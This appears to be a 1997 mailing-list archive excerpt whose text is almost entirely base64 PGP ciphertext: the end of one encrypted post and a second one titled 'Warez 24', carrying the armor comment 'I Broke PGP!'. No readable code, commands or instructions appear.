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
fVFSm9uxakH1/fvNCxch2C31w6J88ad8Pg==
=a8hB
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 01:14:59 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 17:14:59 +0800
Subject: Warez 24
Message-ID: <199712180906.BAA16634@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
